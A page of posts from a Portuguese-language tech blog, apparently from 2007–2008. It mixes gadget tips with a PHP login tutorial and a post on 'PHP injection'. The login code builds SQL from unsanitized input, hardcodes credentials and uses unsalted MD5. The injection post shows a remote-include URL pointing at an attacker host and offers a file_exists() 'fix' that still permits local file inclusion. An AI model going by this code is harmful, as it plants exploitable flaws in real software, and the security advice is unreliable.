logoLog da Selva


Plasma x LCD, qual é melhor?

Escrito em Aleatórios, Dicas, Tecnologia por Adam Rebouças em 22 de Julho de 2008

Tv de plasma

Olá pessoal ;)

A muito tempo eu não postava no blog, como a maioria dos colaboradores dele, o único que tem atualizado o blog ultimamente é o Luã (obrigado por não deixar o blog falir), confesso que as vezes deixei de atualizar por preguiça, mais recentemente não o fiz por falta de tempo mesmo, agora voltando a postagem, essa semana sem muito o que fazer no trabalho eu estava navegando pelo site da revista info me deparei com esta matéria que fala sobre vendedores de eletrônicos que não sabem dizer qual a diferença da tv de plasma para a LCD, mais indicam as de LCD sem definir quais são as vantagens delas, eu também não sabia e pesquisando um pouco consegui descobrir alguns links e vou postar (os links, pois escrever ficaria muito grande e vocês teriam preguiça de ler) pra vocês por que eu acho que como eu, um grande número de pessoas não sabem a diferença, quanto a definição eu aprendi que a LCD consome menos energia, são mais caras e que não temos muitos tamanhos grandes atualmente, entre outras coisas, agora seguem os links:

Guia do Mercado Livre sobre qual comprar LCD ou Plasma.

LCD ou plasma, o que é melhor? (role um pouco a página [não seja preguiçoso] e vai achar sobre isso.)

Bom por enquanto é só, tentarei atualizar o blog todo dia, com pelo menos um post diário o que quer dizer que podem ser mais de um. ;P

Como ganhar um eee PC ajudando a Wikipedia

Escrito em Dicas, Tecnologia por Luã de Souza em 26 de Junho de 2008

Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!
…e também a pen drives, card drives, camisetas geeks, livros e mais! O BR-Linux e o Efetividade lançaram uma campanha para ajudar a Wikimedia Foundation e outros mantenedores de projetos que usamos no dia-a-dia on-line. Se você puder doar diretamente, ou contribuir de outra forma, são sempre melhores opções. Mas se não puder, veja as regras da promoção e participe - quanto mais divulgação, maior será a doação do BR-Linux e do Efetividade, e você ainda concorre a diversos brindes!

Como criar um sistema simples de login ? (Aula 02 e 03)

Escrito em Aleatórios, Tecnologia, PHP, Banco de Dados, HTML por Tiago Guedes em 30 de Dezembro de 2007

Olá pessoal, como prometido estou aqui de volta (depois de muiiiiito tempo) para concluir nossas aula sobre o sistema de login php. Para conpensar o tempo que fiquei afastado do Log da Selva vou adiantar, além da aula 02, a aula 03. No mais, é isso pessoal, vamos ao que interessa !

Aula 02 - Formulário e script de login

:: Formulário de login

Antes de passarmos para o php iremos criar aquele famoso formulário de login (login - senha) no html. Ele terá basicamente a mesma estrutura do formulário de registro da primeira aula, porém só precisaremos dos campos “login” e “senha” para verificar se realmente aquele usuário que está tentando logar está cadastrado no nosso banco de dados.

obs.: os comentários no código são iniciados por // ou

Nosso formulário de login ficará assim então:

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php // recomendo iniciar sempre a session no começo da página para que não haja problemas com headers depois, mas por enquanto vocês nem precisam prestar atenção nisso, depois que pegaram o script de login vão entender melhor do que se trata isso aqui. 
session_start();
session_cache_expire(30);
session_cache_limiter('private');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>:: Login</title>
</head>
<body>
<h1>Login PHP</h1>
<?php // isso aqui vocês vão entender melhor depois que pegarem o script de login, então aconselho que nem percam tempo olhando isso agora
if ($_SESSION['result'] == 1) { // se a session de resultados tiver o valor 2...
	echo ("Erro: algum campo encontra-se vazio!"); // ele imprime algo negativo.
	}
if ($_SESSION['result'] == 2) { // se a session de resultados tiver o valor 2...
	echo ("Erro: usuário ou senha incorreto!"); // ele imprime algo negativo.
	}
?>
<form action="logando.php" method="post">
	Login:<br>
    <input name="login" type="text" /><br><!-- input é a tag de formatação de campo, ou seja, com ela você estará criando um campo com nome de login (indicado através do name) e o que for digitado dentro dele será do tipo texto. --> 
	Senha:<br> 
	<input name="senha" type="password" /><br><br><!-- o mesmo serve para o campo senha, a diferença é que o que for digitado nele será do tipo password, ou seja, no lugar de texto aparceção aquelas famosas bolinhas ou asteríscos. -->
	<input name="logar" type="submit" value="logar" /><br> <!-- aqui você cria um botão com a tag input indicando o tipo como submit, sendo assim, o que estiver dentro dos campos do formulário será submetido ao action do formulário (logando.php) através dele. No value você indica o texto que vai aparecer dentro do botão. -->
</form>  
</body>
</html>
<?php unset($_SESSION['result']); // retirando os valores da session  de resultados pra quando o usuário a atualizar a página o erro não continuar sendo impresso.?>

:: Script de login

O script de login consiste basicamente num algorítimo que pesquisa no banco de dados aquelas informações digitadas nos campos do formulário de login, geralmente: login e senha. Se alguma linha de registro no banco de dados for encotrada com o login e a senha requeridos um resultado positivo é exibido ao usuário ou então o mesmo é redirecionado para uma página exclusiva para usuários logados, caso contrário, exibi-se um resultado negativo ao mesmo.

Como foi indicado no formulário, o nosso script de login terá o nome de “logando”, aí vai ele:

logando.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
 
session_start();  // através dessa função podemos iniciar a manipulação de session que são variáveis globais,ou seja, a session é uma varíavel que pode ser utilizada em blocos de código distintos, por exemplo: aqui eu digo que a session de login é igual a "User", lá na minha página principal eu utilizo a $_session['login'] e ela terá esse valor que eu dei (User).
session_cache_expire(30); // define o limite de tempo do cache em 30 minutos 
session_cache_limiter('private'); // defini o limitador do cache para 'private'.
session_register('result');  // através dessa função registramos a session result que vai armazenar os resultados da nossa pesquisa.
 
//conectando com o banco de dados
$dbhost = "enderecodohost.com"; 
$dbuser = "tivira"; 
$dbsenha = "tivira"; 
$db = "logdaselva";
$conn = @mysql_connect($dbhost, $dbuser, $dbsenha) or die(mysql_error());
@mysql_select_db($db);
 
// agora vamos criar variáveis locais, também chamadas de variáveis de escopo
$login = $_POST['login']; // aqui estamos indicando aque a variável login ($login) recebe o que foi digitado no campo login do formulário através do método post.
$senha = md5($_POST['senha']); // o mesmo para senha, não esquecendo da incriptação md5.
 
if ((!$login) || (!$senha)) { // se não a variável login ou senha não recebeu nada...
	$_SESSION['result'] = 1;	 // ...a session de resultados recebe o valor 1...
	header("location:login.php"); // ...e redireciona o usuário para a página de login novamente, aonde será exibido ao mesmo um resultado negativo.
}else{ //caso contrário..
	$pesquisa = mysql_query("SELECT * FROM registros WHERE login = '$login' AND senha = '$senha'"); // aqui executamos na variável pesquisa ($pesquisa) uma query que seleciona todos os registros do nosso banco aonde o login e a senha são iguais ao que foi digitado pelo usuário.
	if (mysql_num_rows($pesquisa) > 0) { // se o número linhas de registro encontrados na variável for maior que 0, ou seja, se existir registro no banco com esse login e senha..
		session_register('login'); // criamos uma session login
		$_SESSION['login'] = $login; // indicamos seu valor, ela será igual ao valor do campo login digitado no formulário.
		header("location:principal.php"); // redirecionamos o usuário para uma página principal que validará o login do usuário.
	}else{ // caso contrário
		$_SESSION['result'] = 2; // indicamos o valor "2" para a variável de resultado..
		header("location:login.php"); // e redirecionamos o usuário para a página de login.
		} // fecha else
	} // fecha else
 
?>

Aula 03 - Validando o login

Validar um login consiste básicamente em perguntar na página principal se uma determinada session (a responsável pelo login) está setada, ou seja, se ela possui algum valor.

principal.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
session_start(); // iniciando a session
session_cache_expire(30);
session_cache_limiter('private');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Principal</title>
</head>
<body>
<?php 
if (isset($_SESSION['login'])) { // se a ssssion login estiver setada..
	echo ("Bem vindo ".$_SESSION['login']."!"); // ele imprime um "bem vindo" com o nome do usuário.
}else{ // caso contrário..
	header("location:login.php"); // ele manda o usuário de volta pra página de login.
}
?>
</body>
</html>

Aqui vou encerrando nossas aulas à respeito do sistema de login, espero ter ajudado e esclarecido alguma coisa à vocês. Prometo que logo voltarei com novidades, grande abraço !
Dúvidas ?
Erros ?
Postem sem medo, obrigado! =)

Tyasske.com

Escrito em Aleatórios, Dicas, Acessibilidade, Tecnologia, Utilitários, JavaScript, HTML por Rodrigo Waltenberg em 01 de Dezembro de 2007

Blog do tyasskeJa faz um tempinho que estou ligado nos padrões web. Procuro sempre aprender uma coisa ou outra e estar sempre nos conformes. Como ainda sou aprendiz, dou umas mancadas (e levo bronca do Luã xD) mas normalmente conserto depois.

Além das dicas que o Luã me da, tenho alguns sites que sempre me ajudam nos momentos mais difíceis. Um brushzinho aqui, uma fontezinha ali, um framework acolá… E de uns dias pra ca, tem um blog que ta sendo uma baita duma mão na roda.

Este é um post de utilidade pública… e digo utilidade porque eu nunca vi um site tão útil pra alguem que trabalha com web quanto o blog do Tyasske. Ele segue à risca os Padrões Web e ainda ajuda o pessoal com um bocado de dicas sobre tudo relacionado a webdevelopment.
Eu assinei o feed e procuro comentar nos posts mais úteis. Recomendo.

Microsoft Virtual PC

Escrito em Aleatórios, Dicas, Tecnologia, Utilitários por Allan Tito em 31 de Julho de 2007

Tipo que nunca se deparou com uma situação de achar aquele progama que você tava procurando a tem medo que ele corrompa algum arquivo do seu sistema, ou qualquer outro arquivo do seu computador?

Bom a Microsoft criou uma ferramenta gratuita que emula maquinas virtuais, ao ponto de você ter varias maquinas com diferentes sistemas operacionais instalados, o que facilita tambem a vida de progamadores que precisa verificar a compatibiliade em varios sistemas. Para funcionarios de TI essa é uma excelente solução.

Uma caracteristica basica é que cada maquina funciona como se fosse um computador diferente, cada maquina usa seu próprio ip, seu proprio mac address, etc.

Está disponivel para download aqui.

PHP Injection - Como se previnir de invasão

Escrito em Dicas, Tecnologia, PHP por Luã de Souza em 20 de Junho de 2007

Até hoje ainda existem páginas PHP com falhas de segurança em includes, o que possibilita uma ‘PHP Injection‘.

O que é isso?
Muitas páginas usam a QueryString da página pra setar qual página deve ser usada em um include no site, tornando o site mais dinâmico. Como essa:

http://www.narutounlimited.com/blog/index.php?page=downloads.html

Página PHP:

1
2
3
<?php
include($_GET[‘page‘]);
?>

O grande problema é que você nunca, nunca deve confiar nos dados vindos de um usuário. Em um código desprotegido, por exemplo, o usuário pode colocar uma URL externa, como essa:

http://www.narutounlimited.com/blog/index.php?page=http://www.h4×0rs.com/injection.php

E a URL externa será exibida no seu site.

Qual o perigo disso?
Imagina se o usuário mal intencionado incluir, em seu site, uma página que permita a ele executar comandos direto na linha de comando shell do seu servidor? Ele pode fazer praticamente o que quiser!

Como se proteger?
Existem diversas maneiras, e cada programador usa a sua. Eu costumo usar a função file_exists() pra verificar se o arquivo à ser incluido existe no servidor.

1
2
3
4
5
<?php
if (file_exists($_GET[‘page‘])) :
    include($_GET[‘page‘]);
endif;
?>

Simples e prático.

Dúvidas? ;)

Qual Windows Vista usar?

Escrito em Aleatórios, Dicas, Tecnologia, Utilitários por Allan Tito em 18 de Junho de 2007

Quem não quer usar o novo Microsoft Windows Vista? Com todos akeles recursos graficos e muito mais. Ele é um ótimo sistema operacional e progamado para o conforto extremo do usuário.  Eu baixei ele e to usando, olha que meu pc eh bom e o v&¨*$ do windows deu-lhe uma nota de 3,7 para meu computador é mole?

Como saber se seu computador está apto a usar o windows vista? Qual versão se encaixaria melhor no meu computador? Bom aqui está a resposta para esse problema!

Windows vista advisor upgrade 1.0
Esse progama diz se seu computador tem a capacidade de usar o novo windows e ainda lhe recomenda uma versão.

Ligação de graça pelo computador virou moda!

Escrito em Tecnologia por Allan Tito em 11 de Junho de 2007

adphone

Um programa que está dando uma boa ajuda à quem tem uma alta conta telefônica é o ADPHONE, basta criar uma conta e você pode ligar qualquer lugar do Brasil apenas com alguns cliques, e o melhor, é gratuito, porem a ligação dura em torno de 1:50 até 2:00 e por sua conta ser free você pode ligar apenas para telefone fixo, mas é claro você pode ficar ligando e ligando quantas vezes quiser quando a ligação cair. o.0 Isso ta salvando meu pescoço aqui em casa, acredite!

Baixe o programa nesse link!

BAIXE AGORA
Tirei isso do Baixenet

Encontro Locaweb no Rio de Janeiro

Escrito em Aleatórios, Tecnologia por Luã de Souza em 31 de Maio de 2007

Ontem (30/05) aconteceu, aqui no Rio, no Hotal Gloria, o 9° Encontro Locaweb de Profissionais de Internet, e eu fui.

O evento foi bem legal, tinha bastante gente lá, e as palestras foram muito boas. O encerramento foi genial, com o Rafinha Bastos fazendo a galera rir toda hora.

E a Locaweb ainda vai devolver o valor da entrada em serviços, muito bom! (:

Concerteza não perderei os encontros nos anos seguintes.

Laptop Popular - Governo Financia Notebooks

Escrito em Dicas, Tecnologia por Luã de Souza em 16 de Maio de 2007

Acabo de ler no jornal, que o Governo vai financiar Notebooks em acordo com o Banco do Brasil, Caixa Economica e outros, de até R$ 1.800,00.

Quando lí pensei, “É, deve ser bem popular mesmo, positivão…”. Acertei. Mas o PC é bom pra atividades básicas, bom mesmo, apesar dos 40gb de HD. 512mb de RAM, processador de 1,4ghz (suponho que seja celerom) e opção em gravador combo ou gravador de DVD.

Minha chance de comprar um! ;)

Technorati Tags:

Próxima Página »